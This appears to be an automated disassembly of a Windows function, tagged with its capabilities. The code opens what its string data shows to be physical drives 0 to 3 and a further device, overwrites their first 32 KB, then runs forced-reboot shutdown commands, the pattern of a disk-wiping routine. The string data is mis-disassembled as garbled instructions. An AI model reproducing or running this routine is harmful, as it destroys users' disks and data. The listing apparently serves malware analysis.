Function at 0x407d20
Capabilities:
Create process on windows
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
mov eax, 0x407cd8
call fcn.00404424
push 0
push 0
push 3
push 0
push 3
push 0x10000000
push 0x407ee8
call sub.kernel32.dll_CreateFileA
mov ebx, eax
mov esi, 0x408294
mov edi, 0x4117a4
mov ecx, 0x2000
rep movsd dword es:[edi], dword [esi]
push 0
push 0
push 3
push 0
push 3
push 0x10000000
push 0x407efc
call sub.kernel32.dll_CreateFileA
mov esi, eax
push esi
mov esi, 0x408294
mov edi, 0x4197a4
mov ecx, 0x2000
rep movsd dword es:[edi], dword [esi]
pop esi
push 0
push 0
push 3
push 0
push 3
push 0x10000000
push 0x407f10
call sub.kernel32.dll_CreateFileA
mov edi, eax
push esi
push edi
mov esi, 0x408294
mov edi, 0x4217a4
mov ecx, 0x2000
rep movsd dword es:[edi], dword [esi]
pop edi
pop esi
push 0
push 0
push 3
push 0
push 3
push 0x10000000
push 0x407f24
call sub.kernel32.dll_CreateFileA
mov dword [0x41179c], eax
push esi
push edi
mov esi, 0x408294
mov edi, 0x4297a4
mov ecx, 0x2000
rep movsd dword es:[edi], dword [esi]
pop edi
pop esi
push 0
push 0
push 3
push 0
push 3
push 0x10000000
push 0x407f38
call sub.kernel32.dll_CreateFileA
mov dword [0x4117a0], eax
push esi
push edi
mov esi, 0x408294
mov edi, 0x4317a4
mov ecx, 0x2000
rep movsd dword es:[edi], dword [esi]
pop edi
pop esi
push 0
push 0x4397a4
push 0x8000
push 0x4117a4
push ebx
call sub.kernel32.dll_WriteFile_1
push 0
push 0x4397a4
push 0x8000
push 0x4197a4
push esi
call sub.kernel32.dll_WriteFile_1
push 0
push 0x4397a4
push 0x8000
push 0x4217a4
push edi
call sub.kernel32.dll_WriteFile_1
push 0
push 0x4397a4
push 0x8000
push 0x4297a4
mov eax, dword [0x41179c]
push eax
call sub.kernel32.dll_WriteFile_1
push 0
push 0x4397a4
push 0x8000
push 0x4317a4
mov eax, dword [0x4117a0]
push eax
call sub.kernel32.dll_WriteFile_1
push ebx
call sub.kernel32.dll_CloseHandle
push esi
call sub.kernel32.dll_CloseHandle
push edi
call sub.kernel32.dll_CloseHandle
mov eax, dword [0x41179c]
push eax
call sub.kernel32.dll_CloseHandle
mov eax, dword [0x4117a0]
push eax
call sub.kernel32.dll_CloseHandle
push 0
push 0x407f40
call sub.kernel32.dll_WinExec
push 0
push 0x407f58
call sub.kernel32.dll_WinExec
pop edi
pop esi
pop ebx
call fcn.00403504
pop esp
pop esp
pop esp
push eax
push 0x63697379
popal
insb byte es:[edi], dx
inc esp
jb 0x407f60
jbe 0x407f5e
xor byte [eax], al
add byte [esp + ebx*2 + 0x2e], bl
pop esp
push eax
push 0x63697379
popal
insb byte es:[edi], dx
inc esp
jb 0x407f74
jbe 0x407f72
xor dword [eax], eax
add byte [esp + ebx*2 + 0x2e], bl
pop esp
push eax
push 0x63697379
popal
insb byte es:[edi], dx
inc esp
jb 0x407f88
jbe 0x407f86
xor al, byte [eax]
add byte [esp + ebx*2 + 0x2e], bl
pop esp
push eax
push 0x63697379
popal
insb byte es:[edi], dx
inc esp
jb 0x407f9c
jbe 0x407f9a
xor eax, dword [eax]
add byte [esp + ebx*2 + 0x2e], bl
pop esp
dec ecx
add byte [eax], al
add byte [ebx + 0x68], dh
jne 0x407fb8
outsd dx, dword fs:[esi]
ja 0x407fb6
js 0x407fb1
and byte [0x662d2072], ch
and byte [0x302074], ch
inc ebx
cmp bl, byte [edi + edx*2 + 0x69]
outsb dx, byte [esi]
outsd dx, dword fs:[esi]
ja 0x407fd5
pop esp
push ebx
jns 0x407fd9
je 0x407fcd
insd dword es:[edi], dx
xor esi, dword [edx]
pop esp
jae 0x407fd6
jne 0x407fe4
outsd dx, dword fs:[esi]
ja 0x407fe2
js 0x407fdd
and byte [0x662d2072], ch
and byte [0x302074], ch
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add cl, byte [ebp + 0x40]
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add cl, byte [ebp + 0x40]
add byte [eax], al
add byte [eax], al
add byte [eax], al
xor dl, byte [ebx]
mov eax, eax
add byte [ebp - 0x72ffffc0], cl
inc eax
add byte [eax], al
lea eax, [eax]
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
and al, 0x1f
inc eax
add byte [eax + 0x24340040], dh
inc eax
add byte [eax], al
retf